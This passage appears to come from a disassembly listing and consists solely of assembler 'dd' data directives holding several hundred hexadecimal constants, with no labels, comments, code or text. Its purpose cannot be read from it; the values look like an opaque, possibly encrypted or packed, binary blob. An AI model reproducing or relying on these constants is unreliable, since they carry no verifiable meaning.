7915DFA1h, 6874CAE8h, 9A5A64EDh, 4C1C5C94h, 88B8AC9Eh dd 495AF421h, 564FB918h, 625B05C9h, 574E8DCh, 0FD04A468h dd 0BD199160h, 2CB6E2D7h, 0A48C6A44h, 17F6C4F3h, 3112E1EEh dd 8445980h, 92B8462Dh, 0ABAC8881h, 7F03E9B7h, 0B7150831h dd 0F5D47336h, 26FDE8E1h, 0C842D3A6h, 931A0400h, 0AB000A82h dd 0C2605A21h, 6A574DC5h, 158CBBCCh, 743AC6C5h, 0EF8D6221h dd 57F86DD7h, 0AE2AC747h, 1111FD00h, 8141285Bh, 7759A0D3h dd 91C87F6Eh, 981C3F68h, 5D7D2A3Dh, 0EEC45A9Dh, 0AB5CEDB4h dd 1FD08300h, 0BD62537Eh, 0CC1FC27h, 0BFA8DA62h, 3DCB730Ch dd 0A29313BEh, 0E361E98Ah, 41743FC0h, 6BB8410Ah, 0DB9095E3h dd 0E765B87Eh, 63FC0187h, 431BAEF1h, 83751A05h, 52549486h dd 0F15AA41h, 191769F5h, 44970328h, 21985776h, 0DD2467C7h dd 2BF81955h, 6960204Dh, 3E00E39Ah, 7F8195FCh, 83ECC38Dh dd 5CDB755Dh, 0C0906432h, 4340580Ah, 7E1D5118h, 0E54C5347h dd 0DBD3CC25h, 0EDC1890Fh, 0C06A0643h, 0F8C57D45h, 54B0CA0h dd 4C3283Bh, 0AA24D711h, 46711748h, 0B4A18110h, 8E36060Eh dd 0D9BE3D70h, 5D371009h, 3A5DC1Fh, 67DD1B86h, 72657134h dd 8BAAFBE0h, 0E1212049h, 3E894C6h, 4830C0B5h, 0CDDE1AADh dd 10E17FB8h, 98E11825h, 70FC75E8h, 110F483Dh, 4BD41FE8h dd 105FA21Dh, 11A05B11h, 0F72EDB24h, 1AD5CEF9h, 0ABB52E2Fh dd 0E01EE4AFh, 0E484394Ch, 0CF6AAA8Dh, 0FC64695h, 1D5CB1Ah dd 748E8557h, 0F6C71EE1h, 2EEFE0EFh, 1E690406h, 56CB6857h dd 0AD502079h, 0C2C1A6FBh, 9227D76Eh, 5C291AACh, 0B82B7355h dd 0B45ED360h, 83431A7Bh, 0E50315C9h, 0CD9F03Fh, 684248AEh dd 47B4F390h, 0EC375B13h, 0F8A862C2h, 556142B6h, 5E393F58h dd 0D0D753BFh, 8AAD760Bh, 8AADC072h, 19521262h, 0ED1105CCh dd 247B5898h, 2255586h, 89708F05h, 564E7F91h, 527811D5h dd 0AEB19454h, 0A9741485h, 0DB052611h, 18B54BD7h, 208CFE2h dd 0F5F1A2C5h, 1A3C1DCh, 9C90155Ah, 0DB59AB88h, 0AEDB2EA8h dd 0C944C3D0h, 0B9552994h, 2B996958h, 716D1912h, 0E0AE021Ch dd 250C2D07h, 5602E684h, 0E340AD33h, 0B3FF89CEh, 7A6D0E4h dd 80C4DEC5h, 6A1D13DFh, 57FDDCBDh, 28DA8F44h, 125262B3h dd 852B687Eh, 871C3C36h, 2674B636h, 0E66E5DE6h, 0C4C0A84Ah dd 7B99AA9Eh, 6FC0F0DCh, 2FBEA879h, 673D72E0h, 0D7DFE520h dd 1B572C6Dh, 9228A87h, 32FC1827h, 0E91FB6Ah, 0BCD0250Fh dd 23B68623h, 0C19123C8h, 1BB1BE4Ch, 0AB3D8783h, 0E0C0D835h dd 0C80D72A5h, 619EBF1h, 0EF049F0h, 19C0F5B4h, 512762B0h dd 39807584h, 20771D1h, 386DD1D7h, 7975A9CAh, 1AFFD5EEh dd 0F8CE8B6h, 2F048466h, 97A6E468h, 0E9D7105Bh, 50E1F788h dd 418BDA68h, 56A81015h, 0FC3041F2h, 50C3624h, 86B57822h dd 0CC686904h, 4C0A66C5h, 52AE254Eh, 0A4C2D009h, 1665BF33h dd 0F7603611h, 38EC050Ah, 3BE02990h, 0C2E31281h, 0C499DDBEh dd 7D507E7Dh, 9FF3345Bh, 104AE3DBh, 0BAFE3852h, 0C02A8149h dd 52A7574Eh, 3625E29Ah, 0C5F2085Dh, 7B65CCB2h, 0B6A9F688h dd 21FE399Ah, 242E0383h, 6B544171h, 2851E68Bh, 3A6F52D1h dd 8CDC93D8h, 0DC5580BAh, 6EBF6CF1h, 0F1CDE6A4h, 2AD76828h dd 1A841B6Eh, 0FA928868h, 321A55DAh, 0ACAF0813h, 54A7139h dd 9557B3F4h, 0DC31325Bh, 3D2E3955h, 46A73F7Fh, 0C9BE0E46h dd 8F09FF61h, 5FC0ACAFh, 0F73F7E86h, 428E82BAh, 4568F76Bh dd 0A3A16515h, 87577A7Ah, 0BC99545h, 0ABFFAD0Ah, 0A170EA8Dh dd 0E7A9D767h, 552B8106h, 0D3B2370h, 43D1D404h, 8EA8A929h dd 8219266h, 8D0CE08h, 0C49A066Bh, 7EEFC335h, 0FB10002Ah dd 4CA1C416h, 0F8656AD9h, 0BB480A1h, 0A0CE1690h, 92F20F5Fh dd 0EE97239Bh, 2A994F5Bh, 6209D86Eh, 40CD188Eh, 56816426h dd 8EC4E94Bh, 7C0E1445h, 9A276161h, 0A5D91989h, 0B44D9BFEh dd 32E7196Eh, 29334C72h, 0A992E8E8h, 0CAF5D8EBh, 0C7A85A1Bh dd 0BBC7CC14h, 81FD724Ah, 0A9A62241h, 5C77B0D8h, 781C2F1Dh dd 5614D83Ah, 0ECD18385h, 5D62B1E9h, 0E8227369h, 359E56AFh dd 1150C32Dh, 18273C15h, 40AE58CEh, 85E9F84h, 16AE1B78h dd 3D8CD9DFh, 0A6D07EDFh, 4814FC5h, 7A730A1Bh, 0D68020DDh dd 991728BAh, 0CACCE370h, 0DE284A26h, 258D2BB6h, 186D886Ch dd 5FA45655h, 0A6C1A308h, 1CCB6801h, 5E021983h, 2A00A40Eh dd 12966511h, 0DA161C71h, 7DE6FF95h, 0C164DF30h, 4D3A24FEh dd 0E134E3B0h, 8BAD0C0Eh, 0CAAAE022h, 3CF6B137h, 662C75E8h dd 50EAB13Eh, 1E15C8C3h, 593281AAh, 3A56A4B0h, 36FD9376h dd 0E06FA836h, 0C4D450ADh, 2178FF8Ch, 0B49B2662h, 0CB7F3FB0h dd 12C50AA1h, 8C17F2E9h, 0C788D1E0h, 72567B07h, 94B452CFh dd 55D4A563h, 0D6DB6A07h, 0C5C235E1h, 0A8010D36h, 34DAE103h dd 51C6B6E1h, 0E3152686h, 0ED324755h, 7310DC0Dh, 77B512BEh dd 0A5118B0h, 41386109h, 6DD73630h, 9D44710Ah, 6C0AB01Dh dd 6548A0A2h, 0F82F2C86h, 1915522Dh, 0DF99EC8Fh, 5CAC5E13h dd 0A4DC122Ah, 6C9429BBh, 0BFB92666h, 5D542613h, 3EC28945h dd 0B27AD824h, 2EFC9E2h, 7C443756h, 8B413E0Eh, 250EEB89h dd 8E92354Eh, 0E04890ABh, 90E4BCBCh, 826565A2h, 160E476Fh dd 71821909h, 0E391FC94h, 6239E5C0h, 5B1A6748h, 84DE8DA3h dd 748C194Dh, 231B2173h, 58563C4Ah, 0B2EBF5F0h, 6A4783h dd 0A53E46Ah, 9E176B8Ch, 497485EDh, 71007F22h, 3E2890E8h dd 83A08AAFh, 0E803BD41h, 17802E13h, 2EA32C23h, 2790FC3Ch dd 7B9F768Ch, 6AD02C5Fh, 0EFB602ECh, 61453C8h, 80315381h dd 0CA71AF84h, 2B83312Ah, 0FC345957h, 3BDF108Ah, 0CA276636h dd 5A05C476h, 0FF8CE034h, 0B6C5C576h, 19044EA2h, 797C8DEDh dd 658D0C45h, 0B20382E5h, 906B6915h, 0C830AF0Dh, 63074592h dd 0A33A9585h, 8280D06h, 5B001C63h, 7D7211h, 0F4E46483h dd 248AABA7h, 0E5CAB6D6h, 338F32ADh, 682764DAh, 4FFD46AEh dd 7E8AAB52h, 92341F13h, 71D432BAh, 4F13AB31h, 7A334FFFh dd 9710866Ah, 120A4997h, 18D320FFh, 0A18CB87h, 0E029AF63h dd 0D3130E52h, 541E2A37h, 7A3446B4h, 4DEB5733h, 368556AEh dd 63F1D06h, 450EBDC8h, 6F93FBB1h, 8A828D59h, 0CFF89138h dd 0CA521D23h, 14670395h, 93563FE0h, 4C1E5001h, 0E93473B3h dd 0A22867D8h, 97E4A75h, 8C70BF97h, 7556E0E2h, 34A995D2h dd 5185617Bh, 44A2E66Eh dd 9DC3FCEAh, 6C1D5665h, 6B13BF1Eh, 0C2563A08h, 0CFEC06F5h dd 0C17519E4h, 2A823B35h, 1A19AFA9h, 6228BA27h, 571B747h dd 2234C965h, 1E7DFB46h, 8728AF17h, 459E7A22h, 1C4BD247h dd 0A26D0970h, 0A8891369h, 36AE3C4Dh, 3C8CB521h, 229A4F5Bh dd 0A731167h, 5D505FADh, 0C4CA48D5h, 57DC98E1h, 5B24BA63h dd 0AF428A70h, 6C0FA028h, 5D4F12FDh, 676A191Dh, 0E9148A56h dd 3E896212h, 0CFC81005h, 594F0CC1h, 5EE6DD44h, 66A8CCC4h dd 7E6CD59Ch, 9C7BDAB1h, 4313CD18h, 195EF019h, 5D3AAAEAh dd 94A57559h, 2D0A7668h, 5D56F3D4h, 42B21F76h, 19DC8E20h dd 8F09E4EBh, 0A91E0116h, 0BE215E52h, 8D8CD601h, 0CF423348h dd 0A16446C1h, 0A3FE294Ch, 81434B46h, 6A1ABA45h, 0C4651088h dd 24D00498h, 281AE1A5h, 6B8DB02h, 0E6FB8DA9h, 3A22F050h dd 0F35FC57h, 0FE9780C6h, 1CDB2FECh, 92970149h, 3EA8D398h dd 0DB91A6A8h, 4601ED4Dh, 841E569Eh, 84D160EAh, 850F93B0h dd 0CC8B043h, 114710C1h, 0E5352263h, 0C03E1D61h, 0B6DF1918h dd 1628E8BCh, 0C4643A01h, 4AE9E29Bh, 8AB91D88h, 48DA4851h dd 1668344Dh, 397E3E3Ah, 0CEC63B5Ah, 0F504538Bh, 4173A9ABh dd 0AA3BC6D3h, 70DA6902h, 0F5CCC4F9h, 502393BEh, 3EB0F1D0h dd 2E95ABE8h, 4C8EC8BFh, 1361E0EDh, 0C3EB0150h, 0E370F460h dd 1E4285F6h, 2095D338h, 8202A509h, 0C1138C1Fh, 18583AA6h dd 0EC189899h, 0C62BA645h, 82370550h, 0ADA0036Fh, 3CFA0C14h dd 0C712702Ah, 1BE9BA24h, 0DA56361Ch, 9BC94242h, 74C389A2h dd 75B4575Ah, 0C551095Fh, 2188E912h, 14AE5D61h, 5C7F50B4h dd 5C55FF5Dh, 4A9F159Fh, 2E7E90Eh, 0E91A49C2h, 0DC3FF10Fh dd 841308A4h, 0FC5AD18Ch, 2A8B1B55h, 22ACA075h, 566EADAh dd 0C0BBE92Fh, 0A48DD2D9h, 7A8ABC87h, 6A50B04Bh, 94530174h dd 62664Fh, 57970CBFh, 0E1BE9BF9h, 0FA9A4594h, 5500B29h dd 0DB028585h, 0BABBCE93h, 0B1B482D4h, 0EA65F8BAh, 5C378DFAh dd 4215888Ah, 3E09656Ah, 6439FB23h, 0CDC8A079h, 8EA03B2Bh dd 0B6F92EB0h, 0CF6A84E4h, 0BC32F10Bh, 0AC04111Bh, 6512D50Dh dd 0A20F2036h, 1D593305h, 237C8DAAh, 5D79DF2h, 0B0D5091Fh dd 906DED90h, 6E101445h, 73F8C7E2h, 58B8AC13h, 32E9990Ch dd 3891917Fh, 98AC00AAh, 1C5DDA3Bh, 0C2BCAFB7h, 14572734h dd 5374AF64h, 0BE4D8009h, 9620C990h, 19B7D0B2h, 0EB5BA5F6h dd 0ACE4A0ECh, 0AF216902h, 0D24EA4D0h, 891A583Dh, 0D38EEA03h dd 0E7B9AA93h, 0F8EE5275h, 5E62418Ah, 0A786F022h, 0BF82E780h dd 751A9718h, 1B6CEB0Bh, 65D28743h, 5A22E481h, 17DF12BBh dd 0E0D65728h, 0E4BBB38Bh, 0FE61D567h, 0E790D6Dh, 4E1FA256h dd 7B1AF582h, 1029A3D4h, 0B46864D9h, 4609C495h, 2A8921EAh dd 736D80B2h, 28D8DB11h, 92F9CB43h, 0D9573FF4h, 886CD250h dd 14E7DDC8h, 0BB212AD5h, 852DAFE2h, 55CF4AC7h, 2E91F025h dd 0ACA14F96h, 4F1B3C1Ah, 8F670BC3h, 87E9ACh, 81397280h dd 84651A11h, 1575209Ch, 1654F3B8h, 0AEAFF775h, 9B08242Ah dd 5EAD2E0Eh, 76F33CDh, 8A15BAE8h, 0B541FCD3h, 0BC82C622h dd 0A38B85AEh, 0E47DB608h, 7A2E5AFBh, 7AD5F8B8h, 0A8D3872Bh dd 3465D9EDh, 8F2EBB1Bh, 8FEB6B1Fh, 0A30ACF63h, 7DF2B75Ah dd 0D764CD7Ch, 0BA8D8C43h, 0FA72EE9Eh, 0FC0CAA14h, 0B1A1B2BBh dd 682B0BACh, 0A1542D57h, 0A753565Fh, 0A8F5CEAh, 80B440DAh dd 0D7A52287h, 0B576F8AAh, 0A5C68CFh, 0FC38E02Dh, 0D9C7D92Ch dd 0A641B1ACh, 66BBADE2h, 45AA01B2h, 3EC95228h, 0CA8222FDh dd 5D0FB33Ch, 2A855E7h, 0A0F98C18h, 1472DAE2h, 0A0A1E80Ah dd 1562B4Eh, 0AA167AD6h, 92C06277h, 88B892EFh, 20551BA7h dd 0B18FF8CEh, 0E44DE501h, 0E050C416h, 50B832h, 2A3B81D6h dd 61F90A27h, 0AC230384h, 9487434Fh, 0A36A9CE0h, 22E809C9h dd 16359D5Dh, 426FC85h, 1E57275Fh, 0A0D98D7Ch, 0B46B5925h dd 0F48AB6ACh, 0B4AEB8CAh, 0D316AF81h, 5061CA4Ch, 0F5F2AA52h dd 87683B35h, 0DB198607h, 255428FAh, 0ACD28405h, 3C37320h dd 505C044Ah, 0EA0F5DABh, 0A2027B2Bh, 1D40E01Ch, 8313891Dh dd 23170643h, 54010D5Fh, 0F7B61E0Bh, 68419882h, 9AD70AC8h dd 40F96843h, 8156C98Ah, 0BA840B99h, 1C011C92h, 507C31F6h dd 93BE1B72h, 532A7022h, 398F098Fh, 0A097A573h, 4857E478h dd 0BC975D3Dh, 7F38FD2Bh, 79CE50AAh, 92AA3EF8h, 0C6407DA7h dd 30AAA42Eh, 170E688Fh, 20006FC3h, 43F0A4BAh, 65A924FEh dd 931CBD30h, 1355E363h, 0AB7F5C4Fh, 0F05CFA16h, 0DC200063h dd 0AA25093Eh, 0FA827875h, 6567D383h, 1DA852B0h, 174BF768h dd 2908AD6Bh, 81023B3Bh, 9EC0BAD0h, 38BE40E0h, 0D78D5CE3h dd 0A09F574Fh, 1AE6A640h, 0FE847312h, 6C81E289h, 7D71DD64h dd 2BC08E46h, 0CE6ECC6Dh, 0F03AC1A6h, 2B3015A6h, 2553C191h dd 5B0247CDh, 81946539h, 6B4F41FCh, 4280FA62h, 842EAB2Eh dd 4A463352h, 765A76C6h, 39E3BA2Ch, 0F465BBF8h, 1219646Dh dd 1012598Fh, 0B8205A80h, 0C21783Fh, 0F4EF3628h, 816294BAh dd 7E1BD76h, 0EFACCA89h, 926086C4h, 0E95E20A0h, 0B171D76Ah dd 51025D6Dh, 0DC8365A0h, 17C5B83Fh, 7EEF7C8Dh, 4374F2FAh dd 4C81BF5Ah, 0A6996585h, 1F5CC12Eh, 4BF02A93h, 0D1956B1Bh dd 0D064031Eh, 11B6D80Dh, 934B4100h, 52C5814h, 83FBD3Bh dd 0FC6B0C21h, 2AF1C871h, 9AA715D3h, 0EE9ACE5Fh, 31B06977h dd 7AC82D71h, 0A578CE89h, 0E4D05C84h, 4A760602h, 5B060C9Dh dd 0B6220917h, 0FF7029A2h, 19039B0Fh, 97015A8Dh, 20101B9Ch dd 8D547D3Eh, 3ABE6A5h, 819B669Bh, 88CA098Ch, 1831579Ah dd 78838213h, 13702909h, 0EE955E6h, 6F08C802h, 84BF1BD4h dd 0E110CB86h, 49835146h, 0F87F6274h, 0F1F3F644h, 0A86D5C6h dd 5D2B059Dh, 0A1B5D470h, 374DA90Dh, 822887D8h, 0BE0D688Fh dd 74888BFCh, 569443E0h, 8FFF66EDh, 33553Ah, 426AACC2h dd 3FC5D8B9h, 0C1D1080h, 4C40D022h, 60B2307Ah, 1436DB11h dd 4E607FA9h, 39070586h, 413F2F2Ah, 6AF0DB4Ch, 2CB5C096h dd 65C2FDB9h, 809E3521h, 523182Dh, 0B1AA0511h, 51CA5960h dd 0A394DAB6h, 51DDC0E4h, 0A0F3F15h, 0B2A24AF9h, 5177488Fh dd 0D2DE58ECh, 0F2108554h, 9DC1FAF2h, 0ED04C0AFh, 611142CAh dd 88A5C1DBh, 24C84523h, 67AC0102h, 0DBFF3162h, 0A94A34Ah dd 0B81A6A0Dh, 0A2F8A9EBh, 983ECFA4h, 0FB565D66h, 40E20441h dd 1F3D2B12h, 0E785ABB2h, 3C3E5159h, 0F1830758h, 0CC36946Ah dd 25AF5300h, 818614DAh, 8813ED14h, 50801DA3h, 0C814846Dh dd 6C62DBB0h, 0BA1EBA0h, 11DD68D1h, 65326B54h, 4568B791h dd 0D10D0ACh, 49560286h, 672CCBACh, 7737020Ch, 83A73516h dd 267CAF37h, 0BC10846h, 5C67F926h, 447D4639h, 2CEC1830h dd 68BE5384h, 88726538h, 6A186BABh, 0A1A4CFBh, 3F38825Ch dd 0A4BAB822h, 0C24CBE1Dh, 7F149C44h, 68AD1114h, 18E5FC5h dd 4A550210h, 0C833EF4Bh, 598ED7E8h, 3B7417FBh, 0EDAA9C1Fh dd 322F0BCBh, 33B81BA1h, 52089590h, 2E463242h, 20FDA637h dd 0BFCBE0F4h, 4311626Ah, 0F07DBD0Dh, 36B32BE7h, 0C1D2310Ah dd 0F2B83541h, 8F8B3F1Fh, 0FE008F63h, 20041B90h, 0CCE3EE26h dd 0FC003EF0h, 437D00Bh, 204FAA1h, 6B080F4h, 0A4DD7F90h dd 0B11451A2h, 87D57978h dd 369F768Ah, 0D21A4F6h, 6A90C55h, 5D06465Dh, 4CF5404Ah dd 0B89B4B96h, 26EC115Ah, 8653C32Ah, 0E0E1551Ah, 0A9B191FEh dd 0B758380Dh, 0F10414E3h, 0CA641C26h, 0DFA550C2h, 0CA3A4F57h dd 7DD82150h, 3299DC24h, 0C597BD8Bh, 14EB7E5Ah, 2B33D3A8h dd 7D4CAEAh, 3EFA88BFh, 0FFCC8729h, 0E14962E9h, 57C31F9Bh dd 3E099DFCh, 17E46C7Ah, 55071107h, 0DD23F1Dh, 40969FB7h dd 7798A451h, 0A81407D9h, 383F463Ch, 2706AC77h, 149F9825h dd 19A9567Eh, 8718BB4h, 24EC4564h, 0EB4375F8h, 9B99A422h dd 0C97E0585h, 0C80A1A52h, 0C82231B4h, 23F8CDD4h, 81834993h dd 320B3E0Fh, 0A797AA67h, 4813383Ch, 0FDA1139Ch, 0F190065h dd 0F9D045E4h, 55AA224Ah, 0CD2A11DCh, 0A16D325h, 1FFC9858h dd 832B259Ch, 989129Fh, 757D3F12h, 0D8E7F59Dh, 82D10FA1h dd 8090ED08h, 296D040h, 745C0604h, 0CEC06962h, 57C5D00Ch dd 0EB10F2EBh, 5FF45320h, 1C40889Ah, 3D348EA1h, 1968FA27h dd 0D900C6D1h, 2CA70241h, 0F30839B7h, 5D5AC39h, 105BCB56h dd 8C0D3C9Dh, 5C480B32h, 682EC991h, 48CE833h, 0D1DAB370h dd 2A76D18h, 0ED221022h, 3190E141h, 0C6CF83Eh, 0BB0CC352h dd 4D38BD12h, 61B9948Bh, 956D2229h, 0FF415C99h, 32B355C1h dd 402829D8h, 2BDFF707h, 0A10FB34Dh, 194B656Bh, 0FC0C2ADh dd 0DA76A9B6h, 6DFECED1h, 0C95D51C2h, 705245B9h, 356A20CDh dd 19AD1CE1h, 134A7234h, 75ADAECEh, 0D0AC7A17h, 9914285Ch dd 15C5AD6Ch, 0B28240DEh, 0CF8D8E2h, 0B52D831Bh, 0DAC097BCh dd 24E30A5Eh, 0AF41C68Ah, 0E1445B1Ah, 5D8F96CCh, 0B7E88EB5h dd 49CAA273h, 121EDEF4h, 0A1833739h, 6ABA88C9h, 795CBD79h dd 36A0D4E4h, 0E2A0B810h, 0FC61918Fh, 0ED03E51Dh, 1C50A8A7h dd 9285515Ch, 53C3558Bh, 3628522Eh, 6A27F073h, 5AAF9C2Ah dd 98E74905h, 7EE27D85h, 0D0F57FFAh, 3AC5CBE1h, 667FC354h dd 73433946h, 79276150h, 85154356h, 93B965DEh, 14FF3663h dd 0F7581824h, 871442FAh, 5640560Fh, 45FE3DD8h, 0CEE2172Fh dd 0CCC2E9FBh, 0CA35E3A2h, 0D923454Eh, 0C1DE6EE8h, 5B0D70Ch dd 4B97CE11h, 0FCC510Fh, 4258C004h, 32015875h, 0F56538CCh dd 0B1BEC0C1h, 4977751Eh, 129244E0h, 46EDE3CAh, 0D65AF595h dd 0B4801F89h, 96C19833h, 0DD3C96A1h, 0ACA5CE0Fh, 2808A6E3h dd 0FAC76038h, 14371FAFh, 31802E9h, 14918C69h, 209CBE35h dd 0A573D359h, 37CAFBACh, 0C9CB9E8Dh, 873A4356h, 322E2A14h dd 0B830AD09h, 9D63F912h, 0E15A4F5Fh, 133F54A7h, 9CFD9824h dd 0B20AFC8Fh, 415FB218h, 7268ADAAh, 89045A68h, 0A9E1F852h dd 0ADE76D51h, 513B5854h, 7E5191F1h, 8133C121h, 2F92033Eh dd 2808ABh, 4A7094A0h, 2FB28571h, 3D49A225h, 2E896C5Fh dd 299C3CEAh, 475CC287h, 0C00C7B2h, 1F75C451h, 7B18FFAh dd 21859983h, 8A4FCF99h, 98C7FAE5h, 0C2E20613h, 94021A8h dd 0C2C24319h, 642AC9BAh, 8479542Bh, 10481707h, 7114F81Ah dd 8A04BD28h, 0E6401283h, 86288B05h, 0A94818D7h, 4510A263h dd 0B263042Dh, 261A060Eh, 5F64ABCAh, 40A2168Bh, 5268681Fh dd 33B58796h, 7F0F7BE1h, 523C146Eh, 361ADF19h, 684D2F82h dd 758DA27Dh, 144FEDEBh, 1BDDDE62h, 0ACC7E6F9h, 5D21099Bh dd 513A1A54h, 4F9C7898h, 0BAFC6445h, 54EBB428h, 32530C74h dd 0C87409Bh, 36F2AA35h, 0E3910446h, 75CB0813h, 0F84CA9DCh dd 0A4514D6h, 0A32B0E3Ch, 13080022h, 82280127h, 4502C69Ah dd 22AEE34Bh, 0FE1E0D41h, 60086AB1h, 95F8189Bh, 80AA6352h dd 62A915CDh, 0CF2D4D12h, 0FDF3D015h, 1586E8C5h, 9D609094h dd 5CDA98FAh, 1597A7C1h, 0DEC8A86Dh, 89CF83h, 9455A2AEh dd 0D45503E3h, 0E0CF0164h, 7D6CAAE6h, 0CCACE008h, 45D2C4FAh dd 0EC815504h, 70C91AF5h, 9A63F3E6h, 0C1A0C2E8h, 0A89C697h dd 80BEC10Eh, 2C7D47DAh, 6B865DCCh, 0AABD66A5h, 18DA60FFh dd 0D3082C26h, 0C240A2BAh, 0FCBA0400h, 0A7AD56A7h, 7B0D57B1h dd 6D5CA0F8h, 37031468h, 0B7482F10h, 0BBF80753h, 0B85EB19Eh dd 406F21A7h, 0F4C100EFh, 321E85AFh, 3C77458Ah, 645D31E8h dd 0C976E95Ah, 0B918742Ah, 0A91643Ah, 2F505753h, 0BE334E1Bh dd 46068A5Eh, 0B9DB2269h, 59567363h, 0CF67C17h, 2E920E7Bh dd 110E3C7Fh, 62161B40h, 595DCE27h, 28B58F8Fh, 5FF86941h dd 284406Ah, 658CA833h, 68AA2036h, 85E5964Bh, 55A39A9Ch dd 27C8D226h, 3ABBF9D5h, 8A62062Ch, 0C64EC4E6h, 91A76910h dd 1F0E6A55h, 396A498Eh, 0DC33BFA4h, 5730983Bh, 314AFD0Fh dd 95BD8002h, 810BE5EEh, 3EB8982Ah, 0F24E26F5h, 1A0C2247h dd 6A30D46Dh, 545CE58Ah, 254E4FA5h, 920718E4h, 2999842Fh dd 174891CDh, 0E9736A28h, 55B96BA8h, 2D5D7E3h, 834286A2h dd 624C70AAh, 0A9DBCAAh, 0F83F2A92h, 73D408C1h, 40B3D898h dd 102BE04Dh, 0D62BDE1Eh, 122E36A5h, 0AB3B0068h, 129C7A4Bh dd 0EFE1527Ah, 30320904h, 0BFE17486h, 0EC96A020h, 5B3E7403h dd 0E56C7D5Bh, 6FA17350h, 0BAA6D3ACh, 614101Ah, 6902B71Bh dd 19889F63h, 0F149610Eh, 0D53CC4AFh, 3B579DFEh, 0E8C885FAh dd 766DA830h, 5D34DFD5h, 3825FCFh, 6BCB7424h, 0CFE4FB6Dh dd 36029B80h, 0FFDCCDD2h, 0AE8A9FE6h, 0B0317F8h, 5FE3C7DAh dd 187A8265h, 0BA4588FFh, 0BF0B0920h, 0C568155Ch, 277EE606h dd 8A72247Ch, 38AA7F8Fh, 413F4A3Bh, 0E8F1694Ch, 0DAB05C59h dd 0C9CD577Dh, 790931BDh, 7AE1F543h, 0C7426937h, 0EB6A0F4Bh dd 0ED412257h, 44198D23h, 62857F14h, 49825794h, 78B873FFh dd 46A5E21h, 6CE88E22h, 0F16502ABh, 3F99616Dh, 5EB0496Ah dd 1972C868h, 0EA8A906Eh, 71378EA8h, 0A1EC7C3Dh, 1AA990A3h dd 73EFF97h, 2BB34CD7h, 0F9D72C24h, 0DA8E58BFh, 30992CA7h dd 0BA4D2B95h, 0F5BE27D9h, 411C3077h, 0DEB84B9h, 0A07FD632h dd 0B50796E2h, 0E861F575h, 89B63C35h, 0CE25B375h, 939FC18Dh dd 0B1384E84h, 905FB09Fh, 0E57B7F50h, 8FF2FA75h, 48F80D0h dd 0AE4525E2h, 55537D14h, 5B8BD5E8h, 6141319Dh, 86013B87h dd 6B08F1BDh, 53734FFFh, 5C295BABh, 3BF18BE2h, 20867DEAh dd 0AA2FB87Fh, 4E20FF3Fh, 10DEE002h, 810C066Ch, 0CB5D3AB3h dd 9164F409h, 7DD46A5Bh, 5348D301h, 7B263A65h, 0F3A088A1h dd 550E6480h, 0D309D861h, 1BADA691h, 8EE1946Dh, 303AD1AEh dd 28452CE8h, 5506FF21h, 19840085h, 5A07E4D1h, 8FCA0377h dd 59FF067Ch, 7418A87Dh, 0D8046B76h, 1EEFA6AEh, 46802449h dd 139919C2h, 74998715h, 33F24Dh, 0B311F273h, 8307B086h dd 0FC6C55F3h, 7317BE0Eh, 0E0FE1B64h, 738AE26h, 0B24133C2h dd 5DE2AE14h, 0D283CACh, 1C872DF9h, 2E860130h, 802C1A8h dd 170C8566h, 0D1690FEFh, 69902707h, 904AFFDBh, 7E227640h dd 7E1ECCEDh, 2EF518C8h, 0C4C2F61Bh, 850240A7h, 6B03B55Ch dd 0D2DED988h, 0EF43701Ah, 84488F4Eh, 0C0421FACh, 0E180A0AEh dd 0B6AC7B9Fh, 3C5BA4B0h, 0E912B522h, 0D6106A56h, 1F4304C9h dd 798C9EE4h, 0C092A0D9h, 9A995390h, 0D343506Bh, 2F491F35h dd 0AFB40283h, 0AD0656Dh, 0C41FCBE6h, 9207A8A1h, 37767402h dd 0FF8ADB88h, 64E9C5DFh, 0C183F45Eh, 76478DF8h, 0B6D57CDDh dd 2E420D0Bh, 958D871Ah, 140387A3h, 2BAA242h, 8C878Eh dd 0A9B7BCA2h, 7A3142A3h dd 0FE3810Dh, 0DD2AFFBh, 0A30049A3h, 0B4E19374h, 0E959A5A0h dd 0DACC0B62h, 0CCA60B5Dh, 76125E60h, 65D6E9A1h, 4B913BBh dd 0AB532143h, 8353E64Dh, 26512ED4h, 31AEE2BBh, 0E81C31AAh dd 758B5B5Ah, 7019F26Dh, 8D0DE02Fh, 0B384A178h, 266085E6h dd 1ACA8A4Fh, 59DCDE69h, 8DB987FBh, 9A6645ACh, 1FE820C3h dd 0F43ED204h, 543D2A56h, 843CC897h, 843BC897h, 0C8C6C895h dd 3B1BC933h, 8AA82AACh, 0C1B09E70h, 3154F747h, 8542E977h dd 0A6F45F3Ah, 0AF2D338Bh, 2EC31AAh, 910D052Eh, 4C19AF41h dd 6E024E12h, 931FE1D7h, 0A3E97E07h, 903C725Dh, 0AFDAEB01h dd 5A6EA9A0h, 39A182E9h, 40A03948h, 842DF37h, 29F01401h dd 61190D12h, 0E21C4417h, 1AE6C7A2h, 0BA598CAh, 36BB7ADEh dd 29B198A6h, 99C5ECDCh, 0D7038671h, 1C931730h, 9518EBBh dd 0F26CC106h, 0DE8B9997h, 6BF8DF73h, 18E7ADD2h, 808D686Bh dd 4DA1FAEDh, 64B07BAh, 9417299Eh, 0AA380516h, 0C0FD582Ah dd 4DA126DEh, 457A7DC4h, 64DA0DC3h, 6E60F832h, 0C94440D0h dd 5B96AA46h, 0C06FE527h, 931D0060h, 49C92029h, 0ABC1732Ah dd 357549EAh, 5909195h, 6299750Bh, 62864959h, 9749E0E1h dd 6F47563Ah, 0D6863C3Fh, 8EEFE2Eh, 905677EDh, 0FE8D94A1h dd 0AA65322h, 0D70D548Bh, 0C620C113h, 0D3FFC504h, 0E88D2015h dd 17070558h, 0DF19576Fh, 749713D9h, 5B9C42F5h, 0EDBF2FD4h dd 0B4AA2902h, 0B87E874Dh, 0F0FA8663h, 0CA6522AEh, 47A164E3h dd 0EF1503A0h, 0B0299232h, 0B8215684h, 0DB5DB5B0h, 0A6B1866Bh dd 101311ACh, 63B49EB8h, 8A3559CDh, 2DA10BA2h, 0A3E069BAh dd 3CC22DC5h, 0C7EC28A0h, 8A21F3C1h, 21B4371Dh, 6A036C9Ch dd 1EBA4949h, 6EA34C64h, 0F727062Eh, 0DFDDD180h, 57D91C5Eh dd 3AF35818h, 6185A11Ah, 41404B4Eh, 19C5537Ch, 4F038407h dd 2DCFCDFDh, 7E686FA1h, 46D34292h, 0A1AD90FEh, 0E4EA9F89h dd 3C847DA0h, 0C3CDF041h, 603F048Ch, 0D4767587h, 19695672h dd 92FE74Dh, 26C6F4E4h, 51EBD035h, 5AEE06FAh, 0BC6AE476h dd 